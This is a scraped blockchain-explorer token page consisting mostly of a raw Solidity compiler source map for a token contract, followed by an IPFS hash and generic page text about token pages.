;;;;;;;;::::0;::::1;;;;;;10263:90;-1:-1:-1::0;;5961:8:0;:16;;-1:-1:-1;;5961:16:0;;;-1:-1:-1;;;;;;;;9297:1063:0:o;11230:160::-;-1:-1:-1;;;;;11336:19:0;;11311:4;11336:19;;;:11;:19;;;;;;;;11335:20;:47;;;;-1:-1:-1;;;;;;;11360:22:0;;;;;:11;:22;;;;;;;;11359:23;;11230:160;-1:-1:-1;11230:160:0:o;11625:590::-;11711:7;11767:1;11734:30;11746:6;11754:9;11734:11;:30::i;:::-;:34;11731:462;;;11780:17;11800:59;11828:30;11840:6;11848:9;11828:11;:30::i;:::-;11811:11;;11800:23;;:6;;:10;:23::i;:59::-;11915:4;11897:24;;;;:9;:24;;;;;;11780:79;;-1:-1:-1;11897:39:0;;11780:79;11897:28;:39::i;:::-;11888:4;11870:24;;;;:9;:24;;;;;;;:66;;;;11952:42;;-1:-1:-1;;;;;11952:42:0;;;;;;;11984:9;160:25:1;;148:2;133:18;;14:177;11952:42:0;;;;;;;;12026:1;12008:7;;:20;:64;;;;;12065:7;;12032:30;12044:6;12052:9;12032:11;:30::i;:::-;:40;12008:64;12005:148;;;12074:77;12092:4;6320:42;12114:36;12142:7;;12114:23;12125:11;;12114:6;:10;;:23;;;;:::i;:36::-;12074:9;:77::i;:::-;12170:21;:6;12181:9;12170:10;:21::i;:::-;12163:28;;;;;11731:462;-1:-1:-1;12201:6:0;11625:590;-1:-1:-1;;11625:590:0:o;1539:98::-;1597:7;1624:5;1628:1;1624;:5;:::i;1645:98::-;1703:7;1730:5;1734:1;1730;:5;:::i;11398:219::-;11513:4;;11477:7;;-1:-1:-1;;;;;11513:4:0;;;11500:17;;;;11497:38;;-1:-1:-1;11526:7:0;;11519:14;;11497:38;11558:4;;-1:-1:-1;;;;;11558:4:0;;;11548:14;;;;11545:36;;-1:-1:-1;11571:8:0;;11564:15;;11545:36;-1:-1:-1;11598:11:0;;11398:219;;;;:::o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:598::-;1483:6;1491;1499;1507;1560:3;1548:9;1539:7;1535:23;1531:33;1528:53;;;1577:1;1574;1567:12;1528:53;1616:9;1603:23;1635:31;1660:5;1635:31;:::i;:::-;1685:5;-1:-1:-1;1742:2:1;1727:18;;1714:32;1755:33;1714:32;1755:33;:::i;:::-;1807:7;-1:-1:-1;1866:2:1;1851:18;;1838:32;1879:33;1838:32;1879:33;:::i;:::-;1397:598;;;;-1:-1:-1;1931:7:1;;1985:2;1970:18;1957:32;;-1:-1:-1;;1397:598:1:o;2000:456::-;2077:6;2085;2093;2146:2;2134:9;2125:7;2121:23;2117:32;2114:52;;;2162:1;2159;2152:12;2114:52;2201:9;2188:23;2220:31;2245:5;2220:31;:::i;:::-;2270:5;-1:-1:-1;2327:2:1;2312:18;;2299:32;2340:33;2299:32;2340:33;:::i;:::-;2000:456;;2392:7;;-1:-1:-1;;;2446:2:1;2431:18;;;;2418:32;;2000:456::o;2650:247::-;2709:6;2762:2;2750:9;2741:7;2737:23;2733:32;2730:52;;;2778:1;2775;2768:12;2730:52;2817:9;2804:23;2836:31;2861:5;2836:31;:::i;2902:118::-;2988:5;2981:13;2974:21;2967:5;2964:32;2954:60;;3010:1;3007;3000:12;3025:382;3090:6;3098;3151:2;3139:9;3130:7;3126:23;3122:32;3119:52;;;3167:1;3164;3157:12;3119:52;3206:9;3193:23;3225:31;3250:5;3225:31;:::i;:::-;3275:5;-1:-1:-1;3332:2:1;3317:18;;3304:32;3345:30;3304:32;3345:30;:::i;:::-;3394:7;3384:17;;;3025:382;;;;;:::o;3620:388::-;3688:6;3696;3749:2;3737:9;3728:7;3724:23;3720:32;3717:52;;;3765:1;3762;3755:12;3717:52;3804:9;3791:23;3823:31;3848:5;3823:31;:::i;:::-;3873:5;-1:-1:-1;3930:2:1;3915:18;;3902:32;3943:33;3902:32;3943:33;:::i;4393:245::-;4460:6;4513:2;4501:9;4492:7;4488:23;4484:32;4481:52;;;4529:1;4526;4519:12;4481:52;4561:9;4555:16;4580:28;4602:5;4580:28;:::i;4643:341::-;4845:2;4827:21;;;4884:2;4864:18;;;4857:30;-1:-1:-1;;;4918:2:1;4903:18;;4896:47;4975:2;4960:18;;4643:341::o;4989:251::-;5059:6;5112:2;5100:9;5091:7;5087:23;5083:32;5080:52;;;5128:1;5125;5118:12;5080:52;5160:9;5154:16;5179:31;5204:5;5179:31;:::i;6698:127::-;6759:10;6754:3;6750:20;6747:1;6740:31;6790:4;6787:1;6780:15;6814:4;6811:1;6804:15;6830:128;6897:9;;;6918:11;;;6915:37;;;6932:18;;:::i;9239:125::-;9304:9;;;9325:10;;;9322:36;;;9338:18;;:::i;9501:127::-;9562:10;9557:3;9553:20;9550:1;9543:31;9593:4;9590:1;9583:15;9617:4;9614:1;9607:15;9633:980;9895:4;9943:3;9932:9;9928:19;9974:6;9963:9;9956:25;10000:2;10038:6;10033:2;10022:9;10018:18;10011:34;10081:3;10076:2;10065:9;10061:18;10054:31;10105:6;10140;10134:13;10171:6;10163;10156:22;10209:3;10198:9;10194:19;10187:26;;10248:2;10240:6;10236:15;10222:29;;10269:1;10279:195;10293:6;10290:1;10287:13;10279:195;;;10358:13;;-1:-1:-1;;;;;10354:39:1;10342:52;;10449:15;;;;10414:12;;;;10390:1;10308:9;10279:195;;;-1:-1:-1;;;;;;;10530:32:1;;;;10525:2;10510:18;;10503:60;-1:-1:-1;;;10594:3:1;10579:19;10572:35;10491:3;9633:980;-1:-1:-1;;;9633:980:1:o;11230:306::-;11318:6;11326;11334;11387:2;11375:9;11366:7;11362:23;11358:32;11355:52;;;11403:1;11400;11393:12;11355:52;11432:9;11426:16;11416:26;;11482:2;11471:9;11467:18;11461:25;11451:35;;11526:2;11515:9;11511:18;11505:25;11495:35;;11230:306;;;;;:::o;11541:168::-;11614:9;;;11645;;11662:15;;;11656:22;;11642:37;11632:71;;11683:18;;:::i;11714:217::-;11754:1;11780;11770:132;;11824:10;11819:3;11815:20;11812:1;11805:31;11859:4;11856:1;11849:15;11887:4;11884:1;11877:15;11770:132;-1:-1:-1;11916:9:1;;11714:217::o

Swarm Source

ipfs://0a64529aced6a1e92721aecd87a492dea8b110da31e0e7267056ff584d1b68b3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.